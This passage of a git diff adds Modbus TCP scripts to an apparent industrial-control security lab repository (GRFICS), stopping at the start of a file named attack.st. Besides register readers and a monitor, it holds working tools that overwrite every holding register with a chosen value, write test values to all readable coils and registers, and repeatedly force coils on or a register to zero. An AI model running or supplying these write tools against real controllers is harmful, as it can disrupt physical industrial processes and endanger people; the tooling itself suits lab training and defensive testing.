(arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real 